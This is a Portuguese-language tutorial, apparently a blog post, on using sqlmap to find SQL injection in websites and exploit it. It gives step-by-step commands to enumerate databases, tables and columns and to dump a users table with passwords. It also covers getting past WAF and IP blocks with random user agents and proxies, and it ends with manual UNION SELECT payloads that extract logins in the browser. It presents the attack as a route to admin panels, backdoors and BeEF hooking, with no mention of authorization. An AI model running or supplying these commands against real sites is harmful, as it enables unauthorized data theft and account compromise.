Como utilizar o sqlmap e achar vulnerabilidades de SQL Injection em sites

O que é sqlmap, o que é isso?

O programa sqlmap permite verificar sites quanto à presença de vulnerabilidades de SQL, vulnerabilidades de XSS. Uma variedade de tipos de SQL injetion e uma variedade de bancos de dados são suportados.

O que posso fazer com o sqlmap?

Usando o sqlmap você pode:

  • Para verificar se existe uma vulnerabilidade nos sites;

Se o site é vulnerável a injeção de SQL, então é possível:

  • receber informações do banco de dados, incluindo um banco de dados de despejo (inteiro)
  • modificar e excluir informações do banco de dados
  • gerar o shell (backdoor) no servidor da web

Cenários para usar o sqlmap:

  • Obtendo um nome de usuário e senha do banco de dados
  • Procurar por painéis administrativos (páginas administrativas)
  • Faça o login na área administrativa com o login e senha

Se houver uma vulnerabilidade, o ataque pode se desenvolver em diferentes direções:

  • Modificação de Dados
  • Backdooring
  • Injeção de código JavaScript para recuperar dados do usuário
  • Engate BeEF

Como podemos ver, o SQL Injetion é uma vulnerabilidade muito perigosa, o que dá ao invasor grandes oportunidades.

Verificando sites com o sqlmap

Se um site receber dados de um usuário usando o método GET (quando o nome da variável e os dados transmitidos estiverem visíveis na barra de endereços do navegador), será necessário selecionar o endereço da página na qual esta variável está presente. Vai após o ponto de interrogação ( ? ), Por exemplo:

http://www.example.org/faq2.php?id=8
http://www.example.com/news-read.php?id=22
http://example.com/read.php?id=p_36

No primeiro endereço URL, o nome da variável é id e o valor passado é 8 . No segundo endereço, o nome da variável também é id e o valor transferido é 22 . No terceiro exemplo, o nome da variável é o mesmo, mas o valor passado é p_36 . O mesmo nome de variável é uma correspondência aleatória para sites diferentes, pode ser qualquer coisa, pode haver qualquer dado sendo transferido, pode haver várias variáveis com valores separados pelo símbolo &.

Pode-se verificar a id da variável é vulnerável ao SQL injetion, então precisamos inserir o endereço completamente - http://www.example.org/faq2.php?id=8 (e não http: // www. example.org /faq2.php ou http://www.example.org).

O comando para testar a variável passada pelo método GET é muito simples:

sqlmap -u URL

Para esses sites, os comandos são:

sqlmap -u http://www.example.org/faq2.php?id=8
sqlmap -u http://www.example.com/news-read.php?id=22
sqlmap -u http://example.com/read.php?id=p_36

No processo de verificação, o sqlmap pode fazer várias perguntas e você precisa responder y (isto é, sim) ou n (isto é, não). As letras y e n podem ser maiúsculas ou minúsculas. Uma letra maiúscula significa uma opção padrão, se você concordar com ela, basta pressionar Enter.

Exemplos de situações e perguntas:

[CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]

heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

A linha inferior é que as heurísticas determinaram que o parâmetro pode ser vulnerável e um banco de dados remoto já está definido, nos perguntam se queremos continuar verificando. E na segunda tela, o site também é vulnerável ao XSS.

Se você quiser automatizar o processo para que sqlmap não pergunte a você a cada vez, mas use a opção padrão (sempre há opções melhores), então você pode executar o comando com a opção --batch :

sqlmap -u http://www.example.org/faq2.php?id=8 --batch

Possíveis problemas ao digitalizar o sqlmap

Você pode receber o seguinte erro:

connection timed out to the target URL. sqlmap is going to retry the request(s)
if the problem persists please check that the provided target URL is valid. In case that it is, you can try to rerun with the switch '--random-agent' turned on and/or proxy switches ('--ignore-proxy', '--proxy',...)

Isso significa que o site não deseja "conversar" com o sqlmap. Como opção, oferecemos o uso de --random-agent. Se no navegador você pode observar o site, e o sqlmap escreve sobre a impossibilidade de se conectar, o site ignora as solicitações, sendo guiado pelo agente do usuário. A opção --random-agent altera o valor padrão de sqlmap para arbitrário:

sqlmap -u http://www.example.com/news-read.php?id=22 --random-agent

Outra razão para este erro pode ser o bloqueio do seu IP pelo site - então você precisa usar um proxy. Se você já estiver usando um proxy e esse erro ocorrer, isso pode significar que o proxy tem um problema de conexão e deve ser tentado sem ele.

Resultados de varredura do sqlmap

As injeções de SQL encontradas são exibidas da seguinte maneira:

Um nome de um parâmetro vulnerável é escrito e destacado em cor verde-negrito, o tipo de vulnerabilidade SQL é gravado e a palavra injetável está presente.

Obtendo a lista de bancos de dados com o sqlmap

Para obter uma lista de bancos de dados, use a opção --dbs . Exemplos:

sqlmap -u http://www.example.org/faq2.php?id=8 --dbs
sqlmap -u http://www.example.com/news-read.php?id=22 --random-agent --dbs
sqlmap -u http://example.com/read.php?id=p_36 --dbs

Obtendo informações de bancos de dados

Por exemplo, dois bancos de dados foram encontrados para o site:

[*] information_schema
[*] main_wellerpools

Eu quero pegar a lista de tabelas no banco de dados main_example. Para fazer isso, use a opção --tables . Além disso, precisamos especificar a tabela que nos interessa após a opção -D :

sqlmap -u http://www.example.com/news-read.php?id=22 --random-agent -D main_example --tables

Por algum motivo, quero saber a lista de colunas da tabela de usuários. Para fazer isso, use a opção --columns . Além disso, precisamos especificar o banco de dados de interesse para nós ( -D main_example ) e após a chave -T , a tabela para a qual queremos ver a lista de colunas:

sqlmap -u http://www.
example.com/news-read.php?id=22 --random-agent -D main_example -T users --columns

Para imprimir todo o conteúdo, use a opção --dump . Ele pode ser especificado junto com o banco de dados e, em seguida, o banco de dados inteiro será despejado ou você pode restringir os dados a uma tabela ou até mesmo a uma coluna. Em seguida, quero ver o conteúdo da tabela inteira de usuários:

sqlmap -u http://www.example.com/news-read.php?id=22 --random-agent -D main_example -T users --dump

Olhe para as senhas - eu pensei de relance que era um hash. Os administradores realmente tentaram se defender, mas isso não os ajudou.

Aliás, como o parâmetro que recebe dados enviados pelo método GET é vulnerável, é possível gerar uma consulta diretamente na string do navegador, de forma que o login e a senha do usuário sejam exibidos diretamente no próprio site:

http://www.example.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10 + de + usuários-- http://www.example.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10 + de + usuários--

Deixe uma resposta
You May Also Like